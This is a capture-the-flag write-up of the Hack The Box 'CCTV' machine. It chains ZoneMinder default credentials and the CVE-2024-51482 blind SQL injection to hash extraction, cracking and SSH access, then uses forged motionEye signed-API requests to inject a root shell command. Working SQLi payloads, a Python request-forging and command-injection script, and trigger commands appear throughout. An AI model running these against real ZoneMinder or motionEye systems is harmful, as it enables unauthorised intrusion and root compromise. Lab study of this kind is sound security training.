HTB CCTV — ZoneMinder SQLi to Root via motionEye Signed API Command Injection
TL;DR#
Log into ZoneMinder with default credentials (admin:admin), use CVE-2024-51482 (SQL injection) to extract the bcrypt password hash for user mark, crack it (opensesame), SSH in, then exploit motionEye (running as root on localhost:8765) by forging HMAC-signed API requests using the admin password hash from the config file to inject a command into the on_event_start hook, and trigger it via the motion HTTP control API.
Enumeration#
Port Scan#
22/tcp — OpenSSH 9.6p1 Ubuntu
80/tcp — Apache 2.4.58 (Ubuntu) → redirects to http://cctv.htb/
Add cctv.htb to /etc/hosts and browse to port 80.
Web Application#
The landing page is a static site for “SecureVision CCTV & Security Solutions” with contact emails info@cctv.htb and info@securevision.com.
Directory fuzzing reveals /zm — a ZoneMinder 1.37.63 installation (API v2.0).
ZoneMinder — Default Credentials#
ZoneMinder ships with admin:admin as default credentials. Log in at /zm/index.php — success.
The admin account has limited privileges (System: View), but the API token endpoint works:
curl -s "http://cctv.htb/zm/api/host/login.json" -d "user=admin&pass=admin"
# Returns JWT access_token
Using the token to list users:
curl -s "http://cctv.htb/zm/api/users.json?token=<TOKEN>"
Three accounts exist: superadmin (Id=1, full System:Edit), mark (Id=2), and admin (Id=3).
The API also exposes database credentials and other config:
ZM_DB_USER = zmuser
ZM_DB_PASS = zmpass
ZM_AUTH_HASH_SECRET = ...Change me to something unique...
ZM_FEATURES_SNAPSHOTS = 0 # blocks CVE-2023-26035
User Flag#
Step 1 — CVE-2024-51482: SQL Injection in event.php#
ZoneMinder 1.37.63 is vulnerable to CVE-2024-51482 — a blind SQL injection in the event tag removal endpoint. The tid parameter is injected into a DELETE FROM Event_Tags WHERE TagId = <tid> query without sanitization.
Confirm with a time-based payload:
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 AND (SELECT 1 FROM (SELECT(SLEEP(3)))x)
The response delays 3 seconds — confirmed. The working conditional format is:
tid=1 AND (SELECT 1 FROM (SELECT(IF(<condition>,SLEEP(1.5),0)))x)
Step 2 — Extract mark’s Password Hash#
Write a custom boolean-based blind extraction script (time-based, binary search per character). Extract the bcrypt hash for user mark from zm.Users:
query = "SELECT Password FROM zm.Users WHERE Username='mark'"
# Extracted: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
Note: LOAD_FILE() returns NULL (no FILE privilege) and secure_file_priv = /var/lib/mysql-files/ blocks INTO OUTFILE to web directories. Stacked queries don’t work (PHP query() not multi_query()). Time-based extraction is the only viable SQLi path.
Step 3 — Crack Hash & SSH#
hashcat -m 3200 '$2y$10$prZGnazejKcuTv5bKNexXO...' /usr/share/wordlists/rockyou.txt
# Result: opensesame
SSH in (note: fail2ban is active — blocks after ~3 failed SSH attempts for ~5 minutes):
ssh mark@cctv.htb # Password: opensesame
The user flag is not in mark’s home — it’s in /home/sa_mark/user.txt (readable only by sa_mark). We need to escalate first.
Root Flag#
Enumeration#
mark@cctv:~$ sudo -l
# No sudo privileges
mark@cctv:~$ ss -tlnp
# Port 8765: motionEye (localhost only)
# Port 7999: motion HTTP control (localhost only)
# Port 8554: RTSP, 1935: RTMP, 9081: streaming
# Port 3306: MySQL
mark@cctv:~$ systemctl status motioneye
# Active, running as User=root
motionEye 0.43.1b4 is running as root on localhost:8765. The motion daemon’s HTTP control API is on port 7999.
Step 4 — motionEye Signed API#
motionEye uses HMAC-style signature authentication. The admin password hash is stored in the motion config:
mark@cctv:~$ grep admin_password /etc/motioneye/motion.conf
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
The signature is computed as (from motioneye/utils/__init__.py):
sha1(f"{METHOD}:{path}:{body}:{key}")
Where key is the admin password hash. Since we can read the config, we can forge valid API requests.
Step 5 — Command Injection via on_event_start#
Use the signed API to update camera config. motionEye translates the command_notifications_exec setting into the on_event_start directive in the motion config file — which executes via shell when a motion event is detected:
import hashlib, urllib.request, json, re
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
SIG_RE = re.compile(r"[^A-Za-z0-9/?_.=&{}\[\]\":, -]")
def sig(method, path, body_str, key):
path = SIG_RE.sub("-", path)
key = SIG_RE.sub("-", key)
body_str = SIG_RE.sub("-", body_str) if body_str else ""
return hashlib.sha1(f"{method}:{path}:{body_str}:{key}".encode()).hexdigest()
# 1. Get current camera config
path = "/config/1/get/?_username=admin"
s = sig("GET", path, None, ADMIN_HASH)
r = urllib.request.urlopen(f"http://127.0.0.1:8765{path}&_signature={s}")
config = json.loads(r.read())
# 2. Inject command into on_event_start via command_notifications
config["command_notifications_enabled"] = True
config["command_notifications_exec"] = "cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt"
# 3. Apply config
body = json.dumps(config)
path = "/config/1/set/?_username=admin"
s = sig("POST", path, body, ADMIN_HASH)
req = urllib.request.Request(f"http://127.0.0.1:8765{path}&_signature={s}",
data=body.encode(), method="POST",
headers={"Content-Type": "application/json"})
urllib.request.urlopen(req)
After applying, the command is appended to on_event_start in /etc/motioneye/camera-1.conf.
Step 6 — Trigger Motion Event#
The command only fires on motion detection events. Use the motion HTTP control API on port 7999 to enable emulate_motion, which simulates continuous motion:
# Enable motion emulation
curl "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
# Wait a few seconds for motion event to trigger on_event_start
sleep 10
# Read the flags
cat /tmp/root.txt
cat /tmp/user.txt
Both flags are now readable.
Flags#
User: ceac94d8a91a9960379aa466b919d341
Root: 7409e74029033c8c3946176c086141d0
Attack Chain Summary#
Default creds admin:admin → ZoneMinder dashboard
|
v
CVE-2024-51482: blind SQLi in event.php tid parameter
|
v
Extract mark's bcrypt hash → hashcat → "opensesame"
|
v
SSH as mark:opensesame → foothold (user flag in sa_mark's home, not yet readable)
|
v
motionEye 0.43.1b4 running as root on localhost:8765
|
v
Read admin password hash from /etc/motioneye/motion.conf
|
v
Forge HMAC-signed API request → inject command into on_event_start hook
|
v
motion HTTP control API: emulate_motion=on → triggers event → command executes as root
|
v
root.txt + user.txt
Takeaways#
- Default credentials remain the #1 entry point for CCTV/IoT systems. ZoneMinder’s
admin:adminis unchanged across versions. - CVE-2024-51482 is a post-auth blind SQLi in ZoneMinder ≤1.37.63 via the
tidparameter inevent.php. Even without FILE privilege, extracting password hashes fromzm.Usersis sufficient for lateral movement. - Password reuse: mark’s ZoneMinder password (
opensesame) was reused for SSH. Common in small-business CCTV deployments. - motionEye’s signed API provides a false sense of security. The admin password hash is stored in a world-readable config file (
/etc/motioneye/motion.conf), allowing any local user to forge valid API requests. Thecommand_notifications_execsetting injects directly into theon_event_startmotion hook — executed by the shell as root. - motion HTTP control API (port 7999) allows enabling
emulate_motionat runtime, which triggers motion events without actual camera input. This is the missing piece to fire the injected command. - Two-layer exploitation: motionEye (Python, signed API, config management) sits on top of motion (C, HTTP control, actual detection). Exploiting the full chain requires understanding how settings flow from motionEye config → motion config → shell execution.